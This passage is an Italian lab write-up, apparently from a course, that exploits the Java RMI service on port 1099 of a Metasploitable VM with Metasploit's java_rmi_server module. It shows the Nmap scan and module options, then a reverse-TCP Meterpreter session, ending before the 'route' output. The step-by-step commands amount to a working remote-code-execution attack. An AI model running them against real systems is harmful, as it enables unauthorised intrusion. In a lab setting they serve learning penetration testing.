SFRUTTARE VULNERABILITA' SU PORTA 1099 – JAVA RMI

L'esercizio di oggi ci richiede di sfruttare la vulnerabilità su porta 1099 di Metasploitable al fine di ottenere una sessione di Meterpreter sulla macchina target.

Come primo step, dobbiamo cambiare la configurazione di rete delle 2 macchine, in modo da avere Kali con IP 192.168.11.111 e Metasploitable con IP 192.168.11.112:

```
  GNU nano 2.0.7        File: /etc/network/interfaces                Modified


# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface

auto eth0
iface eth0 inet static
address 192.168.11.112
netmask 255.255.255.0
network 192.168.11.0
broadcast 192.168.11.255
gateway 192.168.11.1_



^G Get Help  ^O WriteOut  ^R Read File ^Y Prev Page ^K Cut Text  ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is  ^V Next Page ^U UnCut Text^T To Spell
```

```
# The loopback network interface
auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
address 192.168.11.111/24
gateway 192.168.11.1
```

Fatto ciò, effettuiamo una scansione con Nmap su porta 1099 per capire se è aperta, mettiamo anche lo switch sV per sapere la versione del servizio:

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p 1099 192.168.11.112
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-09 04:11 EST
Nmap scan report for 192.168.11.112
Host is up (0.0016s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi GNU Classpath grmiregistry

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.55 seconds
```

Per effettuare l'attacco usiamo il tool Metasploit, un framework open source che permette di fare penetration testing e sviluppo e creazione di exploit; usiamo il

comando ‘msfconsole’ su terminale Kali e cerchiamo l’eventuale exploit usando il comando ‘search’ seguito dal nome del servizio, in questo caso java_rmi:

```
msf6 > search java_rmi

Matching Modules
================

   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  auxiliary/gather/java_rmi_registry                        normal     No     Java RMI Registry Interfaces Enumeration
   1  exploit/multi/misc/java_rmi_server       2011-10-15       excellent  Yes    Java RMI Server Insecure Default Configuration Java Code Execution
   2  auxiliary/scanner/misc/java_rmi_server   2011-10-15       normal     No     Java RMI Server Insecure Endpoint Code Execution Scanner
   3  exploit/multi/browser/java_rmi_connection_impl  2010-03-31  excellent  No  Java RMIConnectionImpl Deserialization Privilege Escalation
```

Proviamo ad usare l’exploit identificato con il numero 1 usando il comando ‘use 1’:

```
msf6 > use 1
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-fram
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)


Payload options (java/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.11.111   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port
```

Con il comando ‘info’, possiamo vedere una descrizione dell’exploit scelto; la prima parte ci dice: ”Questo modulo sfrutta la configurazione predefinita dei servizi RMI Registry e RMI Activation, che consentono di caricare le classi da qualsiasi URL remoto (HTTP)”, quindi può fare al caso nostro.

```
Description:
  This module takes advantage of the default configuration of the RMI
  Registry and RMI Activation services, which allow loading classes
  from any remote (HTTP) URL. As it invokes a method in the RMI
  Distributed Garbage Collector which is available via every RMI
  endpoint, it can be used against both rmiregistry and rmid, and
  against most other (custom) RMI endpoints as well. Note that it does
  not work against Java Management Extension (JMX) ports since those
  do not support remote class loading, unless another RMI endpoint is
  active in the same Java process. RMI method calls do not support or
  require any sort of authentication.

References:
  http://download.oracle.com/javase/1.3/docs/guide/rmi/spec/rmi-protocol.html
  http://www.securitytracker.com/id?1026215
  https://nvd.nist.gov/vuln/detail/CVE-2011-3556
```

Con il comando ‘show options’, ci vengono mostrate le opzioni cioè le configurazioni dell’exploit; nella colonna ‘required’ vediamo quali sono necessarie e quali no:

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               yes       Time that the HTTP Server will wait for the payload request
   RHOSTS                      yes       The target host(s), see https://github.com/rapid7/metasploit-fram
   RPORT      1099             yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL for incoming connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                     no        The URI to use for this exploit (default is random)
```

Da impostare c'è solamente il parametro 'RHOSTS', dove dobbiamo mettere l'IP della macchina bersaglio, in questo caso 192.168.11.112:

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.11.112
rhosts => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   payload/generic/custom                                     normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                             normal  No     Generic Command Shell, Bind T
   2   payload/generic/shell_reverse_tcp                          normal  No     Generic Command Shell, Revers
   3   payload/generic/ssh/interact                               normal  No     Interact with Established SSH
   4   payload/java/jsp_shell_bind_tcp                            normal  No     Java JSP Command Shell, Bind
   5   payload/java/jsp_shell_reverse_tcp                         normal  No     Java JSP Command Shell, Rever
   6   payload/java/meterpreter/bind_tcp                          normal  No     Java Meterpreter, Java Bind T
   7   payload/java/meterpreter/reverse_http                      normal  No     Java Meterpreter, Java Revers
   8   payload/java/meterpreter/reverse_https                     normal  No     Java Meterpreter, Java Revers
   9   payload/java/meterpreter/reverse_tcp                       normal  No     Java Meterpreter, Java Revers
   10  payload/java/shell/bind_tcp                                normal  No     Command Shell, Java Bind TCP
   11  payload/java/shell/reverse_tcp                             normal  No     Command Shell, Java Reverse T
   12  payload/java/shell_reverse_tcp                             normal  No     Java Command Shell, Reverse T
   13  payload/multi/meterpreter/reverse_http                     normal  No     Architecture-Independent Mete
   14  payload/multi/meterpreter/reverse_https                    normal  No     Architecture-Independent Mete

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/umHb0JfOZ
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:39895) at 2022-12-09 04:27:13 -0500

meterpreter >
```

Facendo 'show payloads', possiamo vedere quali payload possiamo iniettare con questo exploit; noi useremo comunque quello impostato di default, il numero 9 payload/java/meterpreter/reverse_tcp, che ci consente di caricare una shell di meterpreter con cui andremo a muoverci all'interno della macchina target.

Una volta configurato tutto correttamente, lanciamo il comando ‘run’ (o ‘exploit’) per iniziare l’attacco:

```
msf6 exploit(multi/misc/java_rmi_server) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind T
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Revers
   3   payload/generic/ssh/interact                                 normal  No     Interact with Established SSH
   4   payload/java/jsp_shell_bind_tcp                              normal  No     Java JSP Command Shell, Bind
   5   payload/java/jsp_shell_reverse_tcp                           normal  No     Java JSP Command Shell, Rever
   6   payload/java/meterpreter/bind_tcp                            normal  No     Java Meterpreter, Java Bind T
   7   payload/java/meterpreter/reverse_http                        normal  No     Java Meterpreter, Java Revers
   8   payload/java/meterpreter/reverse_https                       normal  No     Java Meterpreter, Java Revers
   9   payload/java/meterpreter/reverse_tcp                         normal  No     Java Meterpreter, Java Revers
   10  payload/java/shell/bind_tcp                                  normal  No     Command Shell, Java Bind TCP
   11  payload/java/shell/reverse_tcp                               normal  No     Command Shell, Java Reverse T
   12  payload/java/shell_reverse_tcp                               normal  No     Java Command Shell, Reverse T
   13  payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Mete
   14  payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Mete

msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/umHb0JfOZ
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header ...
[*] 192.168.11.112:1099 - Sending RMI Call ...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 → 192.168.11.112:39895) at 2022-12-09 04:27:13 -0500

meterpreter >
```

Vediamo dall’immagine sopra che abbiamo creato una sessione di Meterpreter; lanciamo quindi i 2 comandi richiesti dall’esercizio, il primo ‘ifconfig’ per vedere la configurazione di rete della macchina target:

```
meterpreter > ifconfig

Interface  1
============
Name         : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::


Interface  2
============
Name         : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fee2:a564
IPv6 Netmask : ::
```

L’altro comando è ‘route’ per vedere le informazioni sulla routing table: